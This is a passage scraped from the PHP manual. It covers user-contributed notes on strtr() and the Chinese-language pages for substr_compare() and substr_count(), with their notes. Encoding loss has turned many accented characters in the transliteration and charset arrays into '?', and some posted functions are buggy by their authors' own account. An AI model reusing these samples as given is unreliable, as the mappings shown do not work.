        $unwanted_array = array(    '?'=>'S', '?'=>'s', '?'=>'Z', '?'=>'z', 'à'=>'A', 'á'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'C', 'è'=>'E', 'é'=>'E',
                                    'ê'=>'E', '?'=>'E', 'ì'=>'I', 'í'=>'I', '?'=>'I', '?'=>'I', '?'=>'N', 'ò'=>'O', 'ó'=>'O', '?'=>'O', '?'=>'O', '?'=>'O', '?'=>'O', 'ù'=>'U',
                                    'ú'=>'U', '?'=>'U', 'ü'=>'U', 'Y'=>'Y', 'T'=>'B', '?'=>'Ss', 'à'=>'a', 'á'=>'a', 'a'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'c',
                                    'è'=>'e', 'é'=>'e', 'ê'=>'e', '?'=>'e', 'ì'=>'i', 'í'=>'i', '?'=>'i', '?'=>'i', 'e'=>'o', '?'=>'n', 'ò'=>'o', 'ó'=>'o', '?'=>'o', '?'=>'o',
                                    '?'=>'o', '?'=>'o', 'ù'=>'u', 'ú'=>'u', '?'=>'u', 'y'=>'y', 'y'=>'y', 't'=>'b', '?'=>'y',
                                    ' ' => '', '_' => '', '-' => '', '.'=> '', ',' => '', ';' => '');

        return mb_strtolower(strtr($string, $unwanted_array ));
    }
doydoy44 12-Aug-2013 04:01
The example of VOVA (http://www.php.net/manual/fr/function.strtr.php#111968) is good but the result is false:
His example dont replace the string.

<?php
function f1_strtr() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = strtr("aboutdealers.com", array(".com" => ""));
  }
  return $new_string;
}
function f2_str_replace() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = str_replace( ".com", "", "aboutdealers.com");
  }
  return $new_string;
}
$start = microtime(true);
$strtr = f1_strtr();
$stop = microtime(true);
$time_strtr = $stop - $start;

$start = microtime(true);
$str_replace = f2_str_replace();
$stop = microtime(true);
$time_str_replace = $stop - $start;

echo 'time strtr       : ' . $time_strtr       . "\tresult :" . $strtr       . "\n";
echo 'time str_replace : ' . $time_str_replace . "\tresult :" . $str_replace . "\n";
echo 'time strtr > time str_replace => ' . ($time_strtr > $time_str_replace);
?>
--------------------------------------
time strtr       : 3.9719619750977      result :aboutdealers
time str_replace : 2.9930369853973      result :aboutdealers
time strtr > time str_replace => 1

str_replace is faster than strtr
dcz at phpbb-seo dot com 08-Aug-2013 08:26
strstr will issue a notice when $replace_pairs contains an array, even unused, with php 5.5.0.

It was not the case with version at least up to 5.3.2, but I'm not sure the notice was added with exactly 5.5.0.

<?php
$str = 'hi all, I said hello';
$replace_pairs = array(
      'all' => 'everybody',
    'unused' => array('somtehing', 'something else'),
     'hello' => 'hey',
);
// php 5.5.0 Notice: Array to string conversion in test.php on line 8
echo strtr($str, $replace_pairs); // hi everybody, I said hey
?>

since the result is still correct, @strstr seems a working solution.
Hayley Watson 01-Feb-2013 02:04
Since strtr (like PHP's other string functions) treats strings as a sequence of bytes, and since UTF-8 and other multibyte encodings use - by definition - more than one byte for at least some characters, the three-string form is likely to have problems. Use the associative array form to specify the mapping.

<?php
// Assuming UTF-8
$str = '?bc ?bc'; // strtr() sees this as nine bytes (including two for each ?)
echo strtr($str, '?', 'a'); // The second argument is equivalent to the string "\xc3\x84" so "\xc3" gets replaced by "a" and the "\x84" is ignored

echo strtr($str, array('?' => 'a')); // Works much better
?>
qeremy [atta] gmail [dotta] com 22-Jan-2013 07:19
Weird, but strtr corrupting chars, if used like below and if file is encoded in UTF-8;

<?php
$str = '?bc ?bc';
echo strtr($str, '?', 'a');
// output: a?bc a?bc
?>

And a simple solution;

<?php
function strtr_unicode($str, $a = null, $b = null) {
    $translate = $a;
    if (!is_array($a) && !is_array($b)) {
        $a = (array) $a;
        $b = (array) $b;
        $translate = array_combine(
            array_values($a),
            array_values($b)
        );
    }
    // again weird, but accepts an array in this case
    return strtr($str, $translate);
}

$str = '?bc ?bc';
echo strtr($str, '?', 'a') ."\n";
echo strtr_unicode($str, '?', 'a') ."\n";
echo strtr_unicode($str, array('?' => 'a')) ."\n";
// outputs
// a?bc a?bc
// abc abc
// abc abc
?>
Tedy 01-Nov-2012 08:43
Since strtr() is twice faster than strlwr I decided to write my own lowering function which also handles UTF-8 characters.

<?php

function strlwr($string, $utf = 1)
{
    $latin_letters = array('?' => 'a',
                            '?' => 'a',
                            '?' => 'i',
                            '?' => 's',
                            '?' => 's',
                            '?' => 't',
                            '?' => 't');

    $utf_letters = array('?' => '?',
                        '?' => 'a',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?',
                        '?' => '?');

    $letters = array('A' => 'a',
                    'B' => 'b',
                    'C' => 'c',
                    'D' => 'd',
                    'E' => 'e',
                    'F' => 'f',
                    'G' => 'g',
                    'H' => 'h',
                    'I' => 'i',
                    'J' => 'j',
                    'K' => 'k',
                    'L' => 'l',
                    'M' => 'm',
                    'N' => 'n',
                    'O' => 'o',
                    'P' => 'p',
                    'Q' => 'q',
                    'R' => 'r',
                    'S' => 's',
                    'T' => 't',
                    'U' => 'u',
                    'V' => 'v',
                    'W' => 'w',
                    'X' => 'x',
                    'Y' => 'y',
                    'Z' => 'z');

    return ($utf == 1) ? strtr($string, array_merge($utf_letters, $letters)) : strtr($string, array_merge($latin_letters, $letters));
}

?>

This allows you to lower every character (even UTF-8 ones) if you don't set the second parameter, or just lower the UTF-8 ones into their specific latin characters (used when making friendly-urls for example).

I used romanian characters but, of course, you can add your own local characters.

Feel free to use/modify this function as you wish. Hope it helps.
Michael Schuijff 24-Oct-2011 10:02
I found that this approach is often faster than strtr() and won't change the same thing in your string twice (as opposed to str_replace(), which will overwrite things in the order of the array you feed it with):

<?php
function replace ($text, $replace) {
    $keys = array_keys($replace);
    $length = array_combine($keys, array_map('strlen', $keys));
    arsort($length);

    $array[] = $text;
    $count = 1;
    reset($length);
    while ($key = key($length)) {
        if (strpos($text, $key) !== false) {
            for ($i = 0; $i < $count; $i += 2) {
                if (($pos = strpos($array[$i], $key)) === false) continue;
                array_splice($array, $i, 1, array(substr($array[$i], 0, $pos), $replace[$key], substr($array[$i], $pos + strlen($key))));
                $count += 2;
            }
        }
        next($length);
    }
    return implode($array);
}
?>
elloromtz at gmail dot com 19-Apr-2010 05:08
If you supply 3 arguments and the 2nd is an array, strtr will search the "A" from "Array" (because you're treating it as a scalar string) and replace it with the 3rd argument:

strtr('Analogy', array('x'=>'y'),  '_'); //'_nalogy'

so in reality the above code has the same affect as:

strtr('Analogy', 'A' , '_');
allixsenos at gmail dot com 16-May-2009 08:55
fixed "normaliza" functions written below to include Slavic Latin characters... also, it doesn't return lowercase any more (you can easily get that by applying strtolower yourself)...

also, renamed to normalize()

<?php

function normalize ($string) {
    $table = array(
        '?'=>'S', '?'=>'s', '?'=>'Dj', '?'=>'dj', '?'=>'Z', '?'=>'z', '?'=>'C', '?'=>'c', '?'=>'C', '?'=>'c',
        'à'=>'A', 'á'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'A', '?'=>'C', 'è'=>'E', 'é'=>'E',
        'ê'=>'E', '?'=>'E', 'ì'=>'I', 'í'=>'I', '?'=>'I', '?'=>'I', '?'=>'N', 'ò'=>'O', 'ó'=>'O', '?'=>'O',
        '?'=>'O', '?'=>'O', '?'=>'O', 'ù'=>'U', 'ú'=>'U', '?'=>'U', 'ü'=>'U', 'Y'=>'Y', 'T'=>'B', '?'=>'Ss',
        'à'=>'a', 'á'=>'a', 'a'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'a', '?'=>'c', 'è'=>'e', 'é'=>'e',
        'ê'=>'e', '?'=>'e', 'ì'=>'i', 'í'=>'i', '?'=>'i', '?'=>'i', 'e'=>'o', '?'=>'n', 'ò'=>'o', 'ó'=>'o',
        '?'=>'o', '?'=>'o', '?'=>'o', '?'=>'o', 'ù'=>'u', 'ú'=>'u', '?'=>'u', 'y'=>'y', 'y'=>'y', 't'=>'b',
        '?'=>'y', '?'=>'R', '?'=>'r',
    );

    return strtr($string, $table);
}

?>
Sidney Ricardo 05-Sep-2008 11:54
This work fine to me:

<?php
function normaliza ($string){
    $a = 'àá??????èéê?ìí??D?òó????ùú?üYT
?àáa?????èéê?ìí??e?òó????ùú?yyt???';
    $b = 'aaaaaaaceeeeiiiidnoooooouuuuy
bsaaaaaaaceeeeiiiidnoooooouuuyybyRr';
    $string = utf8_decode($string);
    $string = strtr($string, utf8_decode($a), $b);
    $string = strtolower($string);
    return utf8_encode($string);
}
?>
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 04:09
OK, I debugged the function (had some errors)
Here it is:

if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                if(  count( $one ) <= 0  )break;
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $one[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $one[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
dot dot dot dot dot alexander at gmail dot com 25-Mar-2008 10:44
Here is the stritr I always needed... I wrote it in 15 minutes... But only after the idea struck me. Hope you find it helpful, and enjoy...
<?php
if(!function_exists("stritr")){
    function stritr($string, $one = NULL, $two = NULL){
/*
stritr - case insensitive version of strtr
Author: Alexander Peev
Posted in PHP.NET
*/
        if(  is_string( $one )  ){
            $two = strval( $two );
            $one = substr(  $one, 0, min( strlen($one), strlen($two) )  );
            $two = substr(  $two, 0, min( strlen($one), strlen($two) )  );
            $product = strtr(  $string, ( strtoupper($one) . strtolower($one) ), ( $two . $two )  );
            return $product;
        }
        else if(  is_array( $one )  ){
            $pos1 = 0;
            $product = $string;
            while(  count( $one ) > 0  ){
                $positions = array();
                foreach(  $one as $from => $to  ){
                    if(   (  $pos2 = stripos( $product, $from, $pos1 )  ) === FALSE   ){
                        unset(  $one[ $from ]  );
                    }
                    else{
                        $positions[ $from ] = $pos2;
                    }
                }
                $winner = min( $positions );
                $key = array_search(  $winner, $positions  );
                $product = (   substr(  $product, 0, $winner  ) . $positions[$key] . substr(  $product, ( $winner + strlen($key) )  )   );
                $pos1 = (  $winner + strlen( $positions[$key] )  );
            }
            return $product;
        }
        else{
            return $string;
        }
    }/* endfunction stritr */
}/* endfunction exists stritr */
?>
troelskn at gmail dot com 23-Jan-2008 03:39
Here's another transcribe function. This one converts cp1252 (aka. Windows-1252) into iso-8859-1 (aka. latin1, the default PHP charset). It only transcribes the few exotic characters, which are unique to cp1252.

function transcribe_cp1252_to_latin1($cp1252) {
  return strtr(
    $cp1252,
    array(
      "\x80" => "e",  "\x81" => " ",    "\x82" => "'", "\x83" => 'f',
      "\x84" => '"',  "\x85" => "...",  "\x86" => "+", "\x87" => "#",
      "\x88" => "^",  "\x89" => "0/00", "\x8A" => "S", "\x8B" => "<",
      "\x8C" => "OE", "\x8D" => " ",    "\x8E" => "Z", "\x8F" => " ",
      "\x90" => " ",  "\x91" => "`",    "\x92" => "'", "\x93" => '"',
      "\x94" => '"',  "\x95" => "*",    "\x96" => "-", "\x97" => "--",
      "\x98" => "~",  "\x99" => "(TM)", "\x9A" => "s", "\x9B" => ">",
      "\x9C" => "oe", "\x9D" => " ",    "\x9E" => "z", "\x9F" => "Y"));
ajitsingh4u at gmail dot com 06-Aug-2007 07:36
/**
* Replaces special characters with single quote,double quote and comma for charset iso-8859-1
*
* replaceSpecialChars()
* @param string $str
* @return string
*/
function replaceSpecialChars($str)
{
    //`(96) '(130) ?(132) '(145) '(146) "(147) "(148) ′(180)   // equivalent ascii values of these characters.
    $str = strtr($str, "`'?''′", "'','''");
    $str = strtr($str, '""', '""');
    return $str;
}
horak.jan AT centrum.cz 22-May-2007 07:11
Here is a function to convert middle-european windows charset (cp1250) to the charset, that php script is written in:

<?php
    function cp1250_to_utf2($text){
        $dict  = array(chr(225) => 'á', chr(228) =>  '?', chr(232) => '?', chr(239) => '?',
            chr(233) => 'é', chr(236) => 'ě', chr(237) => 'í', chr(229) => '?', chr(229) => '?',
            chr(242) => 'ň', chr(244) => '?', chr(243) => 'ó', chr(154) => '?', chr(248) => '?',
            chr(250) => 'ú', chr(249) => '?', chr(157) => '?', chr(253) => 'y', chr(158) => '?',
            chr(193) => 'á', chr(196) => '?', chr(200) => '?', chr(207) => '?', chr(201) => 'é',
            chr(204) => 'ě', chr(205) => 'í', chr(197) => '?',    chr(188) => '?', chr(210) => '?',
            chr(212) => '?', chr(211) => 'ó', chr(138) => '?', chr(216) => '?', chr(218) => 'ú',
            chr(217) => '?', chr(141) => '?', chr(221) => 'Y', chr(142) => '?',
            chr(150) => '-');
        return strtr($text, $dict);
    }
?>
joeldegan AT yahoo 07-Apr-2006 08:49
After battling with strtr trying to strip out MS word formatting from things pasted into forms I ended up coming up with this..

it strips ALL non-standard ascii characters, preserving html codes and such, but gets rid of all the characters that refuse to show in firefox.

If you look at this page in firefox you will see a ton of "question mark" characters and so it is not possible to copy and paste those to remove them from strings..  (this fixes that issue nicely, though I admit it could be done a bit better)

<?
function fixoutput($str){
    $good[] = 9;  #tab
    $good[] = 10; #nl
    $good[] = 13; #cr
    for($a=32;$a<127;$a++){
        $good[] = $a;
    }
    $len = strlen($str);
    for($b=0;$b < $len+1; $b++){
        if(in_array(ord($str[$b]), $good)){
            $newstr .= $str[$b];
        }//fi
    }//rof
    return $newstr;
}
?>
martin[dot]pelikan[at]gmail[dot]com 29-Dec-2005 07:20
// if you are upset with windows' ^M characters at the end of the line,
// these two lines are for you:
$trans = array("\x0D" => "");
$text = strtr($orig_text,$trans);

// note that ctrl+M (in vim known as ^M) is hexadecimally 0x0D
tomhmambo at seznam dot cz 20-Dec-2005 02:54
<?
// Windows-1250 to ASCII
// This function replace all Windows-1250 accent characters with
// thier non-accent ekvivalents. Useful for Czech and Slovak languages.

function win2ascii($str)    {

    $str = StrTr($str,
        "\xE1\xE8\xEF\xEC\xE9\xED\xF2",
        "\x61\x63\x64\x65\x65\x69\x6E");

    $str = StrTr($str,
        "\xF3\xF8\x9A\x9D\xF9\xFA\xFD\x9E\xF4\xBC\xBE",
        "\x6F\x72\x73\x74\x75\x75\x79\x7A\x6F\x4C\x6C");

    $str = StrTr($str,
        "\xC1\xC8\xCF\xCC\xC9\xCD\xC2\xD3\xD8",
        "\x41\x43\x44\x45\x45\x49\x4E\x4F\x52");

    $str = StrTr($str,
        "\x8A\x8D\xDA\xDD\x8E\xD2\xD9\xEF\xCF",
        "\x53\x54\x55\x59\x5A\x4E\x55\x64\x44");

    return $str;
}
?>
ru dot dy at gmx dot net 10-Jul-2005 04:20
Posting umlaute here resulted in a mess. Heres a version of the same function that works with preg_replace only:
<?php
  function getRewriteString($sString) {
     $string = strtolower(htmlentities($sString));
     $string = preg_replace("/&(.)(uml);/", "$1e", $string);
     $string = preg_replace("/&(.)(acute|cedil|circ|ring|tilde|uml);/", "$1", $string);
     $string = preg_replace("/([^a-z0-9]+)/", "-", html_entity_decode($string));
     $string = trim($string, "-");
     return $string;
  }
?>
patrick at p-roocks dot de 06-Feb-2005 02:31
As Daijoubu suggested use str_replace instead of this function for large arrays/subjects. I just tried it with a array of 60 elements, a string with 8KB length, and the execution time of str_replace was faster at factor 20!

Patrick
11-Dec-2004 05:20
If you are going to call strtr a lot, consider using str_replace instead, as it is much faster. I cut execution time in half just by doing this.

<?
// i.e. instead of:
$s=strtr($s,$replace_array);

// use:
foreach($replace_array as $key=>$value) $s=str_replace($key,$value,$s);
?>
ktogias at math dot upatras dot gr 23-Sep-2004 03:32
This function is usefull for
accent insensitive regexp
searches into greek (iso8859-7) text:
(Select View -> Character Encoding -> Greek (iso8859-7)
at your browser to see the correct greek characters)

function gr_regexp($mystring){
        $replacement=array(
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?"),
                array("?","?","?","?","?","?"),
                array("?","?","?","?")
        );
        foreach($replacement as $group){
                foreach($group as $character){
                        $exp="[";
                        foreach($group as $expcharacter){
                                $exp.=$expcharacter;
                        }
                        $exp.="]";
                        $trans[$character]=$exp;
                }
        }
        $temp=explode(" ", $mystring);
        for ($i=0;$i<sizeof($temp);$i++){
                $temp[$i]=strtr($temp[$i],$trans);
                $temp[$i]=addslashes($temp[$i]);
        }
        return implode(".*",$temp);
}

$match=gr_regexp("????????????????????? ??? ????????");

//The next query string can be sent to MySQL
through mysql_query()
$query=
      "Select `column` from `table` where `column2` REGEXP
                         '".$match."'";
j at pureftpd dot org 30-Nov-2003 08:24
Here's a very useful function to translate Microsoft characters into Latin 15, so that people won't see any more square instead of characters in web pages .

function demicrosoftize($str) {
    return strtr($str,
"\x82\x83\x84\x85\x86\x87\x89\x8a" .
"\x8b\x8c\x8e\x91\x92\x93\x94\x95" .
"\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
"'f\".**^\xa6<\xbc\xb4''" .
"\"\"---~ \xa8>\xbd\xb8\xbe");
}
Fernando "Malk" Piancastelli 29-Oct-2003 01:31
Here's a function to replace linebreaks to html <p> tags. This was initially designed to receive a typed text by a form in a "insert new notice" page and put in a database, then a "notice" page could get the text preformatted with paragraph tags instead of linebreaks that won't appear on browser. The function also removes repeated linebreaks the user may have typed in the form.

function break_to_tags(&$text) {

       // find and remove repeated linebreaks

       $double_break = array("\r\n\r\n" => "\r\n");
       do {
              $text = strtr($text, $double_break);
              $position = strpos($text, "\r\n\r\n");
       } while ($position !== false);

       // find and replace remanescent linebreaks by <p> tags

       $change = array("\r\n" => "<p>");
       $text = strtr($text, $change);
}

[]'s
Fernando
bisqwit at iki dot fi 10-Aug-2002 10:18
#!/bin/sh
# This shell script generates a strtr() call
# to translate from a character set to another.
# Requires: gnu recode, perl, php commandline binary
#
# Usage:
#  Set set1 and set2 to whatever you prefer
#  (multibyte character sets are not supported)
#  and run the script. The script outputs
#  a strtr() php code for you to use.
#
# Example is set to generate a
# cp437..latin9 conversion code.
#
set1=cp437
set2=iso-8859-15
result="`echo '<? for($c=32;$c<256;$c++)'\
              'echo chr($c);'\
         |php -q|recode -f $set1..$set2`"
echo "// This php function call converts \$string in $set1 to $set2";
cat <<EOF  | php -q
<?php
\$set1='`echo -n "$result"\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$set2='`echo -n "$result"|recode -f $set2..$set1\
   |perl -pe "s/([\\\\\'])/\\\\\\\\\\$1/g"`';
\$erase=array();
\$l=strlen(\$set1);
for(\$c=0;\$c<\$l;++\$c)
  if(\$set1[\$c]==\$set2[\$c])\$erase[\$set1[\$c]]='';
if(count(\$erase))
{
  \$set1=strtr(\$set1,\$erase);
  \$set2=strtr(\$set2,\$erase);
}
if(!strlen(\$set1))echo 'IRREVERSIBLE';else
echo "strtr(\\\$string,\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set2),
     "',\n  '",
     ereg_replace('([\\\\\\'])', '\\\\\\1', \$set1),
     "');";
EOF
gabi at unica dot edu 17-Jul-2002 05:32
To convert special chars to their html entities strtr you can use strtr in conjunction with get_html_translation_table(HTML_ENTITIES) :

$trans = get_html_translation_table(HTML_ENTITIES);
$html_code = strtr($html_code, $trans);

This will replace in $html_code the ? by &Aacute; , etc.
symlink23-remove-my-spleen at yahoo dot com 18-Apr-2002 09:33
As noted in the str_rot13 docs, some servers don't provide the str_rot13() function. However, the presence of strtr makes it easy to build your own facsimile thereof:

if (!function_exists('str_rot13')) {
    function str_rot13($str) {
        $from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $to   = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

        return strtr($str, $from, $to);
    }
}

This is suitable for very light "encryption" such as hiding email addressess from spambots (then unscrambling them in a mail class, for example).

$mail_to=str_rot13("$mail_to");
erik at eldata dot se 23-Nov-2001 09:08
As an alternative to the not-yet-existing function stritr mentioned in the first note above You can easily do this:

strtr("abc","ABCabc","xyzxyz")

or more general:

strtr("abc",
strtoupper($fromchars).strtolower($fromchars),
$tochars.$tochars);

Just a thought.


二进制安全比较字符串（从偏移位置比较指定长度）

  • ? strtr
  • substr_count ?
  • PHP Manual
  • 字符串 函数
  • 二进制安全比较字符串（从偏移位置比较指定长度）

substr_compare

(PHP 5, PHP 7, PHP 8)

substr_compare — 二进制安全比较字符串（从偏移位置比较指定长度）

说明

substr_compare(
string $haystack,
string $needle,
int $offset,
?int $length = null,
bool $case_insensitive = false
): int

substr_compare() 从偏移位置 offset 开始比较 haystack 与 needle，比较长度为 length 个字符。

参数

haystack

待比较的第一个字符串。

needle

待比较的第二个字符串。

offset

比较开始的位置。如果为负数，则从字符串结尾处开始算起。

length

比较的长度。默认值为 needle 的长度与 haystack 的长度减去位置偏移量 offset 后二者中的较大者。

case_insensitive

如果 case_insensitive 为 true，比较将不区分大小写。

返回值

如果 haystack 从偏移位置 offset 起的子字符串小于 needle，则返回 -1；如果大于 needle，则返回 1；如果二者相等，则返回 0。如果 offset 等于（在 PHP 7.2.18, 7.3.5 之前）或大于 haystack 的长度，或设置 length 小于或等于 0，substr_compare() 将打印出警告信息并且返回 false。

更新日志

版本 | 说明
8.2.0 | 现在此函数返回 -1 或者 1，之前返回负数或正数。
8.0.0 | length 现在允许为 null。
7.2.18, 7.3.5 | offset 现在可能等于 haystack。

示例

Example #1 substr_compare() 示例

<?php
echo substr_compare("abcde", "bc", 1, 2); // 0
echo substr_compare("abcde", "de", -2, 2); // 0
echo substr_compare("abcde", "bcg", 1, 2); // 0
echo substr_compare("abcde", "BC", 1, 2, true); // 0
echo substr_compare("abcde", "bc", 1, 3); // 1
echo substr_compare("abcde", "cd", 1, 2); // -1
echo substr_compare("abcde", "abc", 5, 1); // warning
?>

参见

  • strncmp() - 二进制安全比较字符串开头的若干个字符

User Contributed Notes

bishop at php dot net 03-Oct-2016 07:28
This function efficiently implements checks for strings beginning or ending with other strings:

<?php

function str_begins($haystack, $needle) {
  return 0 === substr_compare($haystack, $needle, 0, strlen($needle));
}

function str_ends($haystack,  $needle) {
  return 0 === substr_compare($haystack, $needle, -strlen($needle));
}

var_dump(str_begins('http://example.com', 'https://'));

?>

Note that these are not multi-byte character set aware.
jimmetry at gmail dot com 16-Dec-2012 12:31
When you came to this page, you may have been looking for something a little simpler: A function that can check if a small string exists within a larger string starting at a particular index. Using substr_compare() for this can leave your code messy, because you need to check that your string is long enough (to avoid the warning), manually specify the length of the short string, and like many of the string functions, perform an integer comparison to answer a true/false question.

I put together a simple function to return true if $str exists within $mainStr. If $loc is specified, the $str must begin at that index. If not, the entire $mainStr will be searched.

<?php

function contains_substr($mainStr, $str, $loc = false) {
    if ($loc === false) return (strpos($mainStr, $str) !== false);
    if (strlen($mainStr) < strlen($str)) return false;
    if (($loc + strlen($str)) > strlen($mainStr)) return false;
    return (strcmp(substr($mainStr, $loc, strlen($str)), $str) == 0);
}

?>
Skyborne 03-Aug-2012 01:55
Take note of the `length` parameter: "The default value is the largest of the length of the str compared to the length of main_str less the offset."

This is *not* the length of str as you might (I always) expect, so if you leave it out, you'll get unexpected results.  Example:

<?php
$hash = '$5$lalalalalalalala$crypt.output.here';
var_dump(substr_compare($hash, '$5$', 0)); # int(34)
var_dump(substr_compare($hash, '$5$', 0, 3)); # int(0)
var_dump(PHP_VERSION); # string(6) "5.3.14"
?>
sleek 23-May-2005 05:07
Modified version of the original posted function. Use this one:

<?php
if (!function_exists('substr_compare')) {
    function substr_compare($main_str, $str, $offset, $length = NULL, $case_insensitivity = false) {
        $offset = (int) $offset;

        // Throw a warning because the offset is invalid
        if ($offset >= strlen($main_str)) {
            trigger_error('The start position cannot exceed initial string length.', E_USER_WARNING);
            return false;
        }

        // We are comparing the first n-characters of each string, so let's use the PHP function to do it
        if ($offset == 0 && is_int($length) && $case_insensitivity === true) {
            return strncasecmp($main_str, $str, $length);
        }

        // Get the substring that we are comparing
        if (is_int($length)) {
            $main_substr = substr($main_str, $offset, $length);
            $str_substr = substr($str, 0, $length);
        } else {
            $main_substr = substr($main_str, $offset);
            $str_substr = $str;
        }

        // Return a case-insensitive comparison of the two strings
        if ($case_insensitivity === true) {
            return strcasecmp($main_substr, $str_substr);
        }

        // Return a case-sensitive comparison of the two strings
        return strcmp($main_substr, $str_substr);
    }
}
?>


计算字串出现的次数

  • ? substr_compare
  • substr_replace ?
  • PHP Manual
  • 字符串 函数
  • 计算字串出现的次数

substr_count

(PHP 4, PHP 5, PHP 7, PHP 8)

substr_count — 计算字串出现的次数

说明

substr_count(
string $haystack,
string $needle,
int $offset = 0,
?int $length = null
): int

substr_count() 返回子字符串 needle 在字符串 haystack 中出现的次数。注意 needle 区分大小写。

Note:

该函数不会计算重叠字符串！参见下面的例子。

参数

haystack

在此字符串中进行搜索。

needle

要搜索的字符串。

offset

开始计数的偏移位置。如果是负数，就从字符的末尾开始统计。

length

指定偏移位置之后的最大搜索长度。如果偏移量加上这个长度的和大于 haystack 的总长度，则打印警告信息。 负数的长度 length 是从 haystack 的末尾开始统计的。

返回值

该函数返回 int。

更新日志

版本 | 说明
8.0.0 | length 可以为空（nullable）。
7.1.0 | 开始支持负数的 offset 和 length。

示例

Example #1 substr_count() 示例

<?php
$text = 'This is a test';
echo strlen($text); // 14

echo substr_count($text, 'is'); // 2

// 字符串被简化为 's is a test'，因此输出 1
echo substr_count($text, 'is', 3);

// 字符串被简化为 's i'，所以输出 0
echo substr_count($text, 'is', 3, 3);

// 因为 5+10 > 14，所以生成警告
echo substr_count($text, 'is', 5, 10);

// 输出 1，因为该函数不计算重叠字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd');
?>

参见

  • count_chars() - 返回字符串所用字符的信息
  • strpos() - 查找字符串首次出现的位置
  • substr() - 返回字符串的子串
  • strstr() - 查找字符串的首次出现

User Contributed Notes

tuxedobob 18-Apr-2016 06:55
It's worth noting this function is surprisingly fast. I first ran it against a ~500KB string on our web server. It found 6 occurrences of the needle I was looking for in 0.0000 seconds. Yes, it ran faster than microtime() could measure.

Looking to give it a challenge, I then ran it on a Mac laptop from 2010 against a 120.5MB string. For one test needle, it found 2385 occurrences in 0.0266 seconds. Another test needs found 290 occurrences in 0.114 seconds.

Long story short, if you're wondering whether this function is slowing down your script, the answer is probably not.
tweston at bangordailynews dot com 15-Apr-2015 03:10
To account for the case that jrhodes has pointed out, we can change the line to:

substr_count ( implode( ',', $haystackArray ), $needle );

This way:

array (
  0 => "mystringth",
  1 => "atislong"
);

Becomes

mystringth,atislong

Which brings the count for $needle = "that" to 0 again.
php at blink dot at 07-Jul-2014 01:30
This will handle a string where it is unknown if comma or period are used as thousand or decimal separator. Only exception where this leads to a conflict is when there is only a single comma or period and 3 possible decimals (123.456 or 123,456). An optional parameter is passed to handle this case (assume thousands, assume decimal, decimal when period, decimal when comma). It assumes an input string in any of the formats listed below.

function toFloat($pString, $seperatorOnConflict="f")
{
    $decSeperator=".";
    $thSeperator="";

    $pString=str_replace(" ", $thSeperator, $pString);

    $firstPeriod=strpos($pString, ".");
    $firstComma=strpos($pString, ",");
    if($firstPeriod!==FALSE && $firstComma!==FALSE) {
        if($firstPeriod<$firstComma) {
            $pString=str_replace(".", $thSeperator, $pString);
            $pString=str_replace(",", $decSeperator, $pString);
        }
        else {
            $pString=str_replace(",", $thSeperator, $pString);
        }
    }
    else if($firstPeriod!==FALSE || $firstComma!==FALSE) {
        $seperator=$firstPeriod!==FALSE?".":",";
        if(substr_count($pString, $seperator)==1) {
            $lastPeriodOrComma=strpos($pString, $seperator);
            if($lastPeriodOrComma==(strlen($pString)-4) && ($seperatorOnConflict!=$seperator && $seperatorOnConflict!="f")) {
                $pString=str_replace($seperator, $thSeperator, $pString);
            }
            else {
                $pString=str_replace($seperator, $decSeperator, $pString);
            }
        }
        else {
            $pString=str_replace($seperator, $thSeperator, $pString);
        }
    }
    return(float)$pString;
}

function testFloatParsing() {
    $floatvals = array(
        "22 000",
        "22,000",
        "22.000",
        "123 456",
        "123,456",
        "123.456",
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>thousands</th>
            <th>fraction</th>
            <th>dec. if period</th>
            <th>dec. if comma</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
